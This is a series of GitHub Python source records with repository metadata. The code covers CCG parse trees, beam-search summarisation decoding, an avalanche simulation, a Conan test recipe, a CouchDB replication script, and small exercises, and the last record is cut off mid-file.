[cls(cat.relation, filler, cat.var, unary_rule_id)\n for filler in head.fillers]\n else:\n deps = []\n\n if cat.complex:\n for c in (cat.result, cat.argument):\n deps += cls.generate(c, unary_rule_id, head)\n return deps\n\n def fill(self, var: Variable) -> list[Dependency]:\n return [Dependency(self.relation,\n self.head,\n 0,\n self.unary_rule_id,\n filler)\n for filler in var.fillers]\n\n def __str__(self) -> str:\n return (f'{self.head} {self.relation} {self.filler} '\n f'{self.unary_rule_id}')\n\n\n@dataclass\nclass Variable:\n fillers: list[IndexedWord]\n filled: bool\n\n def __init__(self, word: IndexedWord | None = None) -> None:\n if word is not None:\n self.fillers = [word]\n else:\n self.fillers = []\n self.filled = True\n\n def __add__(self, other: Any) -> Variable:\n ret = Variable()\n ret.fillers = self.fillers + other.fillers\n return ret\n\n def as_filled(self, filled: bool) -> Variable:\n if filled == self.filled:\n return self\n\n ret = Variable()\n ret.fillers = self.fillers\n ret.filled = filled\n return ret\n\n @property\n def filler(self) -> IndexedWord:\n return self.fillers[0]\n\n\nclass Unify:\n def __init__(self,\n left: ParseTree,\n right: ParseTree,\n result_is_left: bool) -> None:\n self.feature = Feature.NONE\n self.num_variables = 1\n\n self.trans_left: dict[int, int] = {}\n self.trans_right: dict[int, int] = {}\n self.old_left: dict[int, int] = {}\n self.old_right: dict[int, int] = {}\n\n self.left = left\n self.right = right\n self.result_is_left = result_is_left\n if result_is_left:\n self.res, self.arg = left.cat, right.cat\n self.trans_res, self.trans_arg = self.trans_left, self.trans_right\n else:\n self.arg, self.res = left.cat, right.cat\n self.trans_arg, self.trans_res = self.trans_left, self.trans_right\n\n def unify(self, arg: Category, res: Category) -> bool:\n if self.result_is_left:\n left, right = res, arg\n else:\n left, right = arg, res\n\n if not self.unify_recursive(left, right):\n return False\n\n self.add_vars(self.arg, self.trans_arg)\n self.add_vars(self.res, self.trans_res)\n\n return True\n\n def unify_recursive(self, left: Category, right: Category) -> bool:\n if left.atomic:\n if left.atom != right.atom:\n return False\n\n if left.atom == Atom.S:\n if left.feature == Feature.X:\n self.feature = right.feature\n elif right.feature == Feature.X:\n self.feature = left.feature\n elif left.feature != right.feature:\n return False\n else:\n if not (left.dir == right.dir\n and self.unify_recursive(left.result, right.result)\n and self.unify_recursive(left.argument, right.argument)):\n return False\n\n if (left.var not in self.trans_left\n and right.var not in self.trans_right):\n try:\n v1 = self.left.var_map[left.var]\n v2 = self.right.var_map[right.var]\n except KeyError:\n pass\n else:\n if v1.filled and v2.filled:\n return False\n\n self.trans_left[left.var] = self.num_variables\n self.trans_right[right.var] = self.num_variables\n self.old_left[self.num_variables] = left.var\n self.old_right[self.num_variables] = right.var\n\n self.num_variables += 1\n\n return True\n\n def add_vars(self, cat: Category, trans: dict[int, int]) -> None:\n old = self.old_left if trans is self.trans_left else self.old_right\n for var in cat.vars:\n if var not in trans:\n trans[var] = self.num_variables\n old[self.num_variables] = var\n\n self.num_variables += 1\n\n def get_new_outer_var(self) -> int:\n return self.trans_left.get(self.left.cat.var, 0)\n\n def translate_arg(self, category: Category) -> Category:\n return category.translate(self.trans_arg, self.feature)\n\n def translate_res(self, category: Category) -> Category:\n return category.translate(self.trans_res, self.feature)\n\n\nclass Rule(Enum):\n \"\"\"The possible CCG rules.\"\"\"\n NONE = 0\n L = 1\n U = 2\n BA = 3\n FA = 4\n BC = 5\n FC = 6\n BX = 7\n GBC = 8\n GFC = 9\n GBX = 10\n LP = 11\n RP = 12\n BTR = 13\n FTR = 14\n CONJ = 15\n ADJ_CONJ = 16\n\n\n@dataclass\nclass ParseTree:\n rule: Rule\n cat: Category\n left: ParseTree\n right: ParseTree\n unfilled_deps: list[Dependency]\n filled_deps: list[Dependency]\n var_map: dict[int, Variable]\n score: float = 0\n\n @property\n def word(self) -> str:\n if self.is_leaf:\n return self.variable.filler.word\n else:\n raise AttributeError('only leaves have words')\n\n @property\n def variable(self) -> Variable:\n try:\n return self.var_map[self.cat.var]\n except KeyError as e:\n raise AttributeError('variable is not in map') from e\n\n @property\n def is_leaf(self) -> bool:\n return self.rule == Rule.L\n\n @property\n def coordinated_or_type_raised(self) -> bool:\n return self.rule in (Rule.CONJ, Rule.BTR, Rule.FTR)\n\n @property\n def coordinated(self) -> bool:\n return self.rule == Rule.CONJ\n\n @property\n def bwd_comp(self) -> bool:\n return self.rule in (Rule.BC, Rule.GBC)\n\n @property\n def fwd_comp(self) -> bool:\n return self.rule in (Rule.FC, Rule.GFC)\n\n @cached_property\n def deps_and_tags(self) -> tuple[list[Dependency],\n list[str]]: # pragma: no cover\n deps = self.filled_deps.copy()\n tags = []\n if self.left:\n for child in (self.left, self.right):\n if child:\n child_deps, child_tags = child.deps_and_tags\n deps += child_deps\n tags += child_tags\n else:\n tags.append(str(self.cat).replace('[X]', ''))\n\n deps.sort(key=lambda dep: (dep.head.index, dep.filler.index))\n return deps, tags\n\n @property\n def deps(self) -> list[Dependency]:\n return self.deps_and_tags[0]\n\n\ndef Lexical(cat: Category, word: str, index: int) -> ParseTree:\n head = IndexedWord(word, index)\n unfilled_deps = Dependency.generate(cat, 0, head)\n assert cat.var\n var_map = {cat.var: Variable(head)}\n return ParseTree(Rule.L, cat, None, None, unfilled_deps, [], var_map)\n\n\ndef Coordination(cat: Category,\n left: ParseTree,\n right: ParseTree) -> ParseTree:\n var_map = {k: v.as_filled(False) for k, v in right.var_map.items()}\n unfilled_deps = right.unfilled_deps.copy()\n try:\n var = right.variable\n except AttributeError:\n pass\n else:\n if var.filled:\n unfilled_deps.append(Dependency(Relation.CONJ,\n left.variable.filler,\n cat.argument.var,\n 0))\n return ParseTree(Rule.CONJ, cat, left, right, unfilled_deps, [], var_map)\n\n\ndef TypeChanging(rule: Rule,\n cat: Category,\n left: ParseTree,\n right: ParseTree,\n unary_rule_id: int,\n replace: bool) -> ParseTree:\n head = left if rule != Rule.LP else right\n try:\n outer_var = head.variable\n except AttributeError:\n outer_var = None\n unfilled_deps = []\n if replace:\n new_var = (cat.argument.argument.var\n if Category.parse(r'(S\\NP)\\(S\\NP)').matches(cat)\n else cat.argument.var)\n unfilled_deps = [d.replace(new_var, unary_rule_id)\n for d in head.unfilled_deps\n if d.var == head.cat.argument.var]\n elif outer_var:\n unfilled_deps = Dependency.generate(cat, unary_rule_id, outer_var)\n\n if cat.var and outer_var:\n var_map = {cat.var: outer_var}\n else:\n var_map = {}\n return ParseTree(rule, cat, left, right, unfilled_deps, [], var_map)\n\n\ndef PassThrough(rule: Rule,\n left: ParseTree,\n right: ParseTree,\n passthrough: ParseTree) -> ParseTree:\n return ParseTree(rule,\n passthrough.cat,\n left,\n right,\n passthrough.unfilled_deps,\n [],\n passthrough.var_map)\n\n\ndef LeftPunct(left: ParseTree, right: ParseTree) -> ParseTree:\n return PassThrough(Rule.LP, left, right, right)\n\n\ndef RightPunct(left: ParseTree, right: ParseTree) -> ParseTree:\n return PassThrough(Rule.RP, left, right, left)\n\n\ndef AdjectivalConj(left: ParseTree, right: ParseTree) -> ParseTree:\n return PassThrough(Rule.ADJ_CONJ, left, right, right)\n\n\ndef TypeRaising(cat: Category, left: ParseTree) -> ParseTree:\n if cat.type_raising_dep_var:\n unfilled_deps = [dep.replace(cat.type_raising_dep_var)\n for dep in left.unfilled_deps]\n else:\n unfilled_deps = []\n\n try:\n var_map = {1: left.variable}\n except AttributeError:\n var_map = {}\n\n rule = Rule.FTR if cat.fwd else Rule.BTR\n return ParseTree(rule, cat, left, None, unfilled_deps, [], var_map)\n\n\ndef BinaryCombinator(rule: Rule,\n cat: Category,\n left: ParseTree,\n right: ParseTree,\n unification: Unify) -> ParseTree:\n var_map = {}\n for i in range(1, unification.num_variables):\n left_var = left.var_map.get(unification.old_left.get(i))\n right_var = right.var_map.get(unification.old_right.get(i))\n\n if left_var is not None and right_var is not None:\n var_map[i] = left_var + right_var\n elif left_var is not None:\n var_map[i] = left_var.as_filled(True)\n elif right_var is not None:\n var_map[i] = right_var.as_filled(True)\n\n var_ids = []\n for dep in left.unfilled_deps:\n try:\n var_ids.append((dep, unification.trans_left[dep.var]))\n except KeyError:\n continue\n\n for dep in right.unfilled_deps:\n try:\n var_ids.append((dep, unification.trans_right[dep.var]))\n except KeyError:\n continue\n\n unfilled_deps = []\n filled_deps = []\n for dep, v in var_ids:\n var = var_map.get(v, None)\n if var is not None and var.filled:\n filled_deps += dep.fill(var)\n else:\n unfilled_deps.append(dep.replace(v))\n\n return ParseTree(\n rule, cat, left, right, unfilled_deps, filled_deps, var_map)\n","repo_name":"CQCL/lambeq","sub_path":"lambeq/bobcat/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":12492,"program_lang":"python","lang":"en","doc_type":"code","stars":391,"dataset":"github-code","pt":"52"} +{"seq_id":"40495078459","text":"first_word = str(input())\nsecond_word = str(input())\nnew_word = []\nif first_word == second_word:\n exit()\nelse:\n for index in range(len(first_word)):\n temp_word = second_word[:index + 1] + first_word[index + 1:]\n if temp_word not in new_word:\n new_word.append(temp_word)\n print(temp_word)\n\n\n# print(new_word)\n#\n# first_word = str(input())\n# second_word = str(input())\n# new_word = first_word\n#\n# for index in range(len(first_word)):\n# temp_word = second_word[:index + 1] + first_word[index + 1:]\n# if not temp_word == new_word:\n# new_word = temp_word\n# print(temp_word)","repo_name":"Rossen-Dimitrov/fundamentals_with_python","sub_path":"mutate_strings.py","file_name":"mutate_strings.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"7454967844","text":"# Except for the pytorch part content of this file is copied from https://github.com/abisee/pointer-generator/blob/master/\n\nfrom __future__ import unicode_literals, print_function, division\n\nimport sys\n\n# reload(sys)\n# sys.setdefaultencoding('utf8')\n\nimport os\nimport time\n\nimport torch\nfrom torch.autograd import Variable\nimport argparse\nfrom rouge import Rouge\nimport pickle\nimport bpe\n\nfrom pointer_summarizer.data_util import data, config\nif config.use_bpe:\n from pointer_summarizer.data_util.batcher_bpe import Batcher\nelse:\n from pointer_summarizer.data_util.batcher import Batcher\nfrom pointer_summarizer.data_util.data import Vocab\n\nfrom pointer_summarizer.training_ptr_gen.model import Model\nfrom pointer_summarizer.data_util.utils import write_for_rouge, rouge_eval, rouge_log\nfrom pointer_summarizer.training_ptr_gen.train_util import get_input_from_batch\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_name')\nparser.add_argument('--logdir', type=str, default=None)\nparser.add_argument('--save_interval', type=int, default=1000)\nargs = parser.parse_args()\n\nuse_cuda = config.use_gpu and torch.cuda.is_available()\n\n\nclass Beam(object):\n def __init__(self, tokens, log_probs, state, context, coverage):\n self.tokens = tokens\n self.log_probs = log_probs\n self.state = state\n self.context = context\n self.coverage = coverage\n\n def extend(self, token, log_prob, state, context, coverage):\n return Beam(tokens=self.tokens + [token],\n log_probs=self.log_probs + [log_prob],\n state=state,\n context=context,\n coverage=coverage)\n\n @property\n def latest_token(self):\n return self.tokens[-1]\n\n @property\n def avg_log_prob(self):\n return sum(self.log_probs) / len(self.tokens)\n\n\nclass BeamSearch(object):\n def __init__(self, model_file_path):\n model_name = os.path.basename(model_file_path)\n self._decode_dir = os.path.join(config.log_root, 'decode_%s' % (model_name))\n self._rouge_ref_dir = os.path.join(self._decode_dir, 'rouge_ref')\n self._rouge_dec_dir = os.path.join(self._decode_dir, 'rouge_dec_dir')\n for p in [self._decode_dir, self._rouge_ref_dir, self._rouge_dec_dir]:\n if not os.path.exists(p):\n os.mkdir(p)\n\n if config.use_bpe:\n self.vocab = data.make_bpe_vocab(config.bpe_vocab_path)\n self.STOP_DECODING = self.vocab.word_vocab[data.STOP_DECODING]\n else:\n self.vocab = Vocab(config.vocab_path, config.vocab_size)\n self.STOP_DECODING = self.vocab.word2id(data.STOP_DECODING)\n self.batcher = Batcher(config.decode_data_path, self.vocab, mode='decode',\n batch_size=config.beam_size, single_pass=True)\n time.sleep(15)\n\n self.model = Model(model_file_path, is_eval=True)\n\n def sort_beams(self, beams):\n return sorted(beams, key=lambda h: h.avg_log_prob, reverse=True)\n\n # TODO: сейчас GPU используется едва ли на четверть,\n # поэтому нужно пробовать прогонять батчи побольше и потом декодировать\n def decode(self):\n start = time.time()\n scorer = Rouge()\n counter = 0\n batch = self.batcher.next_batch()\n decoded = []\n ref = []\n while batch is not None:\n # Run beam search to get best Hypothesis\n best_summary = self.beam_search(batch)\n\n # Extract the output ids from the hypothesis and convert back to words\n output_ids = [int(t) for t in best_summary.tokens[1:]]\n if config.use_bpe:\n # print(output_ids)\n decoded_words = next(self.vocab.inverse_transform([output_ids])).split()\n else:\n decoded_words = data.outputids2words(output_ids, self.vocab,\n (batch.art_oovs[0] if config.pointer_gen else None))\n\n # Remove the [STOP] token from decoded_words, if necessary\n try:\n fst_stop_idx = decoded_words.index(data.STOP_DECODING)\n decoded_words = decoded_words[:fst_stop_idx]\n except ValueError:\n decoded_words = decoded_words\n # Несмотря на отличный от единицы batch_size, в режиме decode тексты выплевываются по одному.\n original_abstract_sents = batch.original_abstracts_sents[0]\n ref.append(original_abstract_sents[0])\n decoded.append(' '.join(decoded_words))\n\n # write_for_rouge(original_abstract_sents, decoded_words, counter,\n # self._rouge_ref_dir, self._rouge_dec_dir)\n counter += 1\n if counter % 1000 == 0:\n print('%d example in %d sec' % (counter, time.time() - start))\n start = time.time()\n if counter % args.save_interval == 0:\n with open(self._decode_dir + '/' + 'decoded_real.pkl', 'wb') as f:\n pickle.dump((decoded, ref), f)\n\n batch = self.batcher.next_batch()\n with open(self._decode_dir + '/' + 'decoded_real.pkl', 'wb') as f:\n pickle.dump((decoded, ref), f)\n print(\"Decoder has finished reading dataset for single_pass.\")\n print(\"Now starting ROUGE eval...\")\n # results_dict = rouge_eval(self._rouge_ref_dir, self._rouge_dec_dir)\n # rouge_log(results_dict, self._decode_dir)\n\n score = scorer.get_scores(hyps=decoded, refs=ref, avg=True)\n print('ROUGE scores: ', score)\n\n def beam_search(self, batch):\n # batch should have only one example\n enc_batch, enc_padding_mask, enc_lens, enc_batch_extend_vocab, extra_zeros, c_t_0, coverage_t_0 = \\\n get_input_from_batch(batch, use_cuda)\n\n encoder_outputs, encoder_feature, encoder_hidden = self.model.encoder(enc_batch, enc_lens)\n s_t_0 = self.model.reduce_state(encoder_hidden)\n\n dec_h, dec_c = s_t_0 # 1 x 2*hidden_size\n dec_h = dec_h.squeeze()\n dec_c = dec_c.squeeze()\n\n # decoder batch preparation, it has beam_size example initially everything is repeated\n start_decoding_id = self.vocab.word_vocab[data.START_DECODING] if config.use_bpe else self.vocab.word2id(data.START_DECODING)\n beams = [Beam(tokens=[start_decoding_id],\n log_probs=[0.0],\n state=(dec_h[0], dec_c[0]),\n context=c_t_0[0],\n coverage=(coverage_t_0[0] if config.is_coverage else None))\n for _ in range(config.beam_size)]\n results = []\n steps = 0\n while steps < config.max_dec_steps and len(results) < config.beam_size:\n latest_tokens = [h.latest_token for h in beams]\n # Для обычного словаря токены с индексами больше размера словаря являтся неизвестными\n if not config.use_bpe:\n latest_tokens = [t if t < self.vocab.size() else self.vocab.word2id(data.UNKNOWN_TOKEN) \\\n for t in latest_tokens]\n y_t_1 = Variable(torch.LongTensor(latest_tokens))\n if use_cuda:\n y_t_1 = y_t_1.cuda()\n all_state_h = []\n all_state_c = []\n\n all_context = []\n\n for h in beams:\n state_h, state_c = h.state\n all_state_h.append(state_h)\n all_state_c.append(state_c)\n\n all_context.append(h.context)\n\n s_t_1 = (torch.stack(all_state_h, 0).unsqueeze(0), torch.stack(all_state_c, 0).unsqueeze(0))\n c_t_1 = torch.stack(all_context, 0)\n\n coverage_t_1 = None\n if config.is_coverage:\n all_coverage = []\n for h in beams:\n all_coverage.append(h.coverage)\n coverage_t_1 = torch.stack(all_coverage, 0)\n\n final_dist, s_t, c_t, attn_dist, p_gen, coverage_t = self.model.decoder(y_t_1, s_t_1,\n encoder_outputs, encoder_feature,\n enc_padding_mask, c_t_1,\n extra_zeros, enc_batch_extend_vocab,\n coverage_t_1, steps)\n log_probs = torch.log(final_dist)\n topk_log_probs, topk_ids = torch.topk(log_probs, config.beam_size * 2)\n\n dec_h, dec_c = s_t\n dec_h = dec_h.squeeze()\n dec_c = dec_c.squeeze()\n\n all_beams = []\n num_orig_beams = 1 if steps == 0 else len(beams)\n for i in range(num_orig_beams):\n h = beams[i]\n state_i = (dec_h[i], dec_c[i])\n context_i = c_t[i]\n coverage_i = (coverage_t[i] if config.is_coverage else None)\n\n for j in range(config.beam_size * 2): # for each of the top 2*beam_size hyps:\n new_beam = h.extend(token=topk_ids[i, j].item(),\n log_prob=topk_log_probs[i, j].item(),\n state=state_i,\n context=context_i,\n coverage=coverage_i)\n all_beams.append(new_beam)\n\n beams = []\n for h in self.sort_beams(all_beams):\n if h.latest_token == self.STOP_DECODING:\n if steps >= config.min_dec_steps:\n results.append(h)\n else:\n beams.append(h)\n if len(beams) == config.beam_size or len(results) == config.beam_size:\n break\n\n steps += 1\n\n if len(results) == 0:\n results = beams\n\n beams_sorted = self.sort_beams(results)\n\n return beams_sorted[0]\n\n\nif __name__ == '__main__':\n\n # model_filename = sys.argv[1]\n beam_Search_processor = BeamSearch(args.model_name)\n beam_Search_processor.decode()\n","repo_name":"AndreyKolomiets/News_Headline_Generation","sub_path":"pointer_summarizer/training_ptr_gen/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":10456,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"473807125","text":"import numpy as np\nfrom astropy.table import Table, Column\n\n\ndef check_neighbors(i,j,k, fill_arr, fill_value):\n # Checks the nearest neighbors for a given array, fill_arr\n # and fills in array with the fill_value array\n \n if i < fill_arr.shape[0]-1:fill_arr[i+1,j,k]=fill_value[0]\n if i > 0: fill_arr[i-1,j,k]=fill_value[0]\n \n if j < fill_arr.shape[1]-1:fill_arr[i,j+1,k]=fill_value[1]\n if j > 0: fill_arr[i,j-1,k]=fill_value[1]\n \n if k < fill_arr.shape[2]-1:fill_arr[i,j,k+1]=fill_value[2]\n if k > 0:fill_arr[i,j,k-1]=fill_value[2]\n \n return fill_arr\n\n\ndef second_nearest_neighbors(cells, fill_arr, fill_value):\n # checks the second nearest neighbor cells that need to be\n # checked in the next avalanche step\n for i in [cells[0]-2,cells[0]-1,cells[0]+1,cells[0]+2]:\n for j in [cells[1]-2,cells[1]-1,cells[1]+1,cells[1]+2]:\n for k in [cells[2]-2,cells[2]-1,cells[2]+1,cells[1]+2]:\n try:\n fill_arr[cells[0],j,k]=fill_value[0]\n except:\n pass\n try:\n fill_arr[i,cells[1],k]=fill_value[1]\n except:\n pass\n try:\n fill_arr[i,j,cells[2]]=fill_value[2]\n except:\n pass\n return fill_arr\n\n\ndef gradient(i,j,k,ng,f,df):\n # Find the gradient with the nearest neighbors\n # F = 0 outside of the region\n \n for x in range(len(df)):\n df[x] = f[i,j,k,x] + 0.0\n \n if i < (f.shape[0]-1): df[x] -= f[i+1,j,k,x]/6.0\n if i >= 0: df[x] -= f[i-1,j,k,x]/6.0\n \n if j < (f.shape[0]-1): df[x] -= f[i,j+1,k,x]/6.0\n if j >= 0: df[x] -= f[i,j-1,k,x]/6.0\n \n if k < (f.shape[0]-1): df[x] -= f[i,j,k+1,x]/6.0\n if k >= 0: df[x] -= f[i,j,k-1,x]/6.0\n \n dsqrt = np.sqrt(df[0]**2 + df[1]**2 + df[2]**2)\n return dsqrt\n\n\ndef distance(i,j,k,ng,f,dfm,fc):\n # redistributes cell across the neighbors\n con = fc / dfm\n \n for x in range(len(df)):\n # redistribute cell, not across boundary\n f[i,j,k,x] = f[i,j,k,x]- (6.0/7.0) * df[x] * con\n \n if i+1 < ng-1:\n f[i+1,j,k,x] = f[i+1,j,k,x] + (1.0/7.0) * df[x] * con\n if i-1 >= 0:\n f[i-1,j,k,x] = f[i-1,j,k,x] + (1.0/7.0) * df[x] * con\n \n if j+1 < ng-1:\n f[i,j+1,k,x] = f[i,j+1,k,x] + (1.0/7.0) * df[x] * con\n if j-1 >= 0:\n f[i,j-1,k,x] = f[i,j-1,k,x] + (1.0/7.0) * df[x] * con\n \n if k+1 < ng-1:\n f[i,j,k+1,x] = f[i,j,k+1,x] + (1.0/7.0) * df[x] * con\n if k-1 >= 0:\n f[i,j,k-1,x] = f[i,j,k-1,x] + (1.0/7.0) * df[x] * con\n \n return f\n\n\n\ndef add_fluctuations(f, fc, nloops, nfluc, random_seed):\n\n np.random.seed(random_seed)\n \n for i in range(nloops):\n print('nloops = ', i)\n \n nfl1 = np.zeros((f.shape[0],f.shape[0],f.shape[0]))\n nfl2 = np.zeros((f.shape[0],f.shape[0],f.shape[0]))\n df = np.zeros(f.shape[-1])\n \n nbin_e = np.zeros(f.shape[0]*f.shape[0]*f.shape[0])\n nbin_t = np.zeros(f.shape[0]*f.shape[0]*f.shape[0])\n nbin_p = np.zeros(f.shape[0]*f.shape[0]*f.shape[0])\n \n mev = 0 # count number of events during avalanche to determine size E\n nts = 0 # count number of steps in avalanche to determine duration T\n npk = 0 # keep track of peak number of unstable cells during cascade to determine P\n ninst=0 # reset count number of unstable cells in the time step\n \n for n in range(nfluc):\n \n cell = np.random.randint(0,f.shape[0],3) # pick random cell within the grid\n lower, upper = cell-1, cell+1\n pert = np.random.uniform(-0.03, 0.1, 3) # add perturbation between -0.03 and +0.1 fc\n\n # add perturbations to the grid\n for j in range(3):\n f[cell[0],cell[1],cell[2],j] = pert[j]*fc ## THIS MAY BE += ??\n\n # track neighbors of the perturbed cell\n nfl1 = check_neighbors(cell[0], cell[1], cell[2], nfl1, np.ones(3))\n dfm = gradient(cell[0], cell[1], cell[2], f.shape[0], f, df)\n print(dfm)\n if dfm > fc:\n mev += 1\n ninst += 1\n\n f = distance(cell[0], cell[1], cell[2], f.shape[0], f, dfm, fc)\n\n # tracks avalanches in the 2nd nearest neighbors\n nfl2 = second_nearest_neighbors(cells, nfl2, np.ones(3))\n nfl1 = np.zeros(nfl1.shape)\n \n # if any cells are unstable, take next step in avalanche\n if ninst > 0:\n npk += 1\n nts += 1\n nfl1 = np.copy(nfl2)\n nfl2 = np.zeros(nfl1.shape)\n\n if mev>0:\n nbin_e[mev] += 1\n nbin_t[nts] += 1\n nbin_p[npk] += 1\n \n if i == 0:\n tab = Table()\n \n tab.add_column(Column(np.log10(nbin_e), 'E_{0:02d}'.format(i)))\n tab.add_column(Column(np.log10(nbin_t), 'T_{0:02d}'.format(i)))\n tab.add_column(Column(np.log10(nbin_p), 'P_{0:02d}'.format(i)))\n \n return tab\n\n\ndef main():\n ncells = 10\n nloops = 2\n nfluc = 100#000000\n fc = 7.0\n random_seed = 24\n \n f = np.zeros((ncells,ncells,ncells,3))\n df = np.zeros(3)\n f[:,:,:,0] = fc + 0.0\n \n tab = add_fluctuations(f, fc, nloops, nfluc, random_seed)\n tab.write('output.dat', format='ascii')\n\nmain()\n","repo_name":"afeinstein20/flares_soc","sub_path":"scripts/lu_hamilton.py","file_name":"lu_hamilton.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"31179223789","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom conans import ConanFile, tools\nimport os\n\n\nclass TestPackgeConan(ConanFile):\n settings = \"os\", \"arch\"\n\n def test(self):\n tools.save(\n \"jamroot.jam\",\n 'ECHO \"info:\" Success loading project jamroot.jam file. ;')\n tools.save(\n \"boost-build.jam\",\n \"boost-build \\\"\" +\n os.environ['BOOST_BUILD_PATH'].replace(\"\\\\\", \"/\")+\"\\\" ;\"\n )\n self.run(\"b2 --debug-configuration\")\n","repo_name":"bincrafters/conan-boost_build","sub_path":"test_package/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"2616128422","text":"#!/usr/bin/env python\n\nimport couchdb\nimport json\nimport argparse\nimport logbook\nimport sys\nimport os\nimport ConfigParser\n\nfrom couchdb import PreconditionFailed\n\n#Set up logging\nl = logbook.Logger(\"CouchDB replicator\", level=logbook.INFO)\nh = logbook.StreamHandler(sys.stdout, level=logbook.INFO)\n\n\ndef _get_config():\n \"\"\"Looks for a configuration file and load credentials.\n \"\"\"\n config = ConfigParser.SafeConfigParser()\n try:\n with open(os.path.join(os.environ['HOME'], '.couchrc'), 'r') as f:\n config.readfp(f)\n\n SOURCE = config.get('replication', 'SOURCE').rstrip()\n DESTINATION = config.get('replication', 'DESTINATION').rstrip()\n except:\n l.error(\"Please make sure you've created your own configuration file \\\n (i.e: ~/.couchrc)\")\n sys.exit(-1)\n return SOURCE, DESTINATION\n\n\ndef _get_databases_info(source, destination):\n \"\"\"Returns a tuple containing a python representation of source and destination\n couchDB instances. It also returns a list of the databases in both instances\n (excluding the _replicator database).\n \"\"\"\n s_couch = couchdb.Server(source)\n d_couch = couchdb.Server(destination)\n _, _, s_dbs = s_couch.resource.get_json('_all_dbs')\n _, _, d_dbs = d_couch.resource.get_json('_all_dbs')\n\n l.info(\"Databases in the source CouchDB instance: {}\".format(', '.join(s_dbs)))\n l.info(\"Databases in the destination CouchDB instance: {}\".format(', '.join(d_dbs)))\n\n #We don't want to replicate the replicator DB\n try:\n s_dbs.remove('_replicator')\n d_dbs.remove('_replicator')\n except ValueError:\n pass\n\n return s_couch, d_couch, s_dbs, d_dbs\n\n\ndef _setup_continuous(source, destination):\n \"\"\"Set up a continuous replication of all databases in source to destination.\n \"\"\"\n s_couch, d_couch, s_dbs, d_dbs = _get_databases_info(source, destination)\n\n #For each DB in the source CouchDB instance, create a replication document\n #and get its _security object to put it in the destination database\n for db in s_dbs:\n _, _, security = s_couch[db].resource.get_json('_security')\n doc = {\n 'name': '{}_rep'.format(db),\n 'source': '{}/{}/'.format(source, db),\n 'target': '{}/{}/'.format(destination, db),\n 'continuous': True\n }\n s_rep = s_couch['_replicator']\n\n #Create the DB in the destination if not present\n try:\n d_couch.create(db)\n l.info(\"Created {} database in destination\".format(db))\n except PreconditionFailed:\n l.info(\"Database {} already existing in the destination, not creating it\".format(db))\n\n #Put the replicator document in source and set security object in destination\n l.info(\"Putting replicator document in _replicator database of source\")\n s_rep.create(doc)\n l.info(\"Copying security object to {} database in destination\".format(db))\n d_couch[db].resource.put('_security', security)\n\n l.info(\"DONE!\")\n\n\ndef _clone(source, destination):\n \"\"\"Creates a complete clone of source in destination.\n\n WARNING: This action will remove ALL content from destination.\n \"\"\"\n l.info(\"Performing a complete clone from source to destination\")\n s_couch, d_couch, s_dbs, d_dbs = _get_databases_info(source, destination)\n\n #Delete all databases in destination\n l.info(\"Removing all databases from destination\")\n for db in d_dbs:\n d_couch.delete(db)\n\n #Create all databases abailable in source to destination. Copy data and\n #permissions\n l.info(\"Re-creating databases from source into destination\")\n for db in s_dbs:\n #The users database is never deleted\n if not db == '_users':\n d_couch.create(db)\n _, _, security = s_couch[db].resource.get_json('_security')\n source_db = '/'.join([source, db])\n dest_db = '/'.join([destination, db])\n l.info(\"Copying data from {} in source to destination\".format(db))\n d_couch.replicate(source_db, dest_db)\n l.info(\"Copying security object to {} database in destination\".format(db))\n d_couch[db].resource.put('_security', security)\n\n l.info(\"DONE!\")\n\n\nif __name__ == \"__main__\":\n\n DESCRIPTION = \"\"\"Set up complete one-way replication for CouchDB.\n\n Use this script if you want to configure a stage database that will have the\n exact same content of your production database.\n\n To do so, the script creates a replication document for each database in the\n source CouchDB instance that replicates such database (in continuous mode)\n to the destination database.\n\n Security object (permissions per database), are put to the destination databases.\n \"\"\"\n\n parser = argparse.ArgumentParser(description=DESCRIPTION)\n parser.add_argument('action', type=str, help = \"Action to perform, either \\\n configure continuous replication (continuous) or punctual clone (clone)\")\n parser.add_argument('--source', type=str, help = \"Source CouchDB instance, \\\n with the credentials included in the URL. I.E: http://admin:passw@source_db:5984\")\n parser.add_argument('--destination', type=str, help = \"Destination CouchDB instance, \\\n with the credentials included in the URL. I.E: http://admin:passw@destination_db:5984\")\n\n args = parser.parse_args()\n source = args.source\n destination = args.destination\n action = args.action\n\n if not all([source, destination]):\n source, destination = _get_config()\n\n with h.applicationbound():\n actions = ['continuous', 'clone']\n if action not in actions:\n raise ValueError(\"Action not recognised, please choose between %s\" % \\\n ', '.join(actions))\n l.info(\"Starting replication - source: {}, destination: {}\".format( \\\n source.split('@')[-1], destination.split('@')[-1]))\n if action == \"continuous\":\n _setup_continuous(source, destination)\n else:\n _clone(source, destination)\n\n","repo_name":"guillermo-carrasco/mussolblog","sub_path":"couchdb_full_replication/couchdb_replication.py","file_name":"couchdb_replication.py","file_ext":"py","file_size_in_byte":6088,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"72325839525","text":"expression = input('Type an expression: ')\n\nparentheses = []\nfor char in expression:\n if char == '(':\n parentheses.append('(')\n elif char == ')':\n if len(parentheses) > 0:\n parentheses.pop()\n else:\n parentheses.append(')')\n break\n\nif len(parentheses) == 0:\n print('The expression is valid')\nelse:\n print('The expression is not valid')\n","repo_name":"arthur-americo/Python_Study","sub_path":"48 Parentheses Validator.py","file_name":"48 Parentheses Validator.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"21411583616","text":"from collections import Counter, defaultdict\nimport heapq\n\n\ndef leastInterval(tasks, n):\n ts = [f for k, f in Counter(tasks).items()]\n heapq.heapify(ts)\n t = 0\n while ts:\n rec = []\n for i in range(n + 1):\n if ts:\n rec.append(heapq.heappop(ts))\n else:\n break\n\n for r in 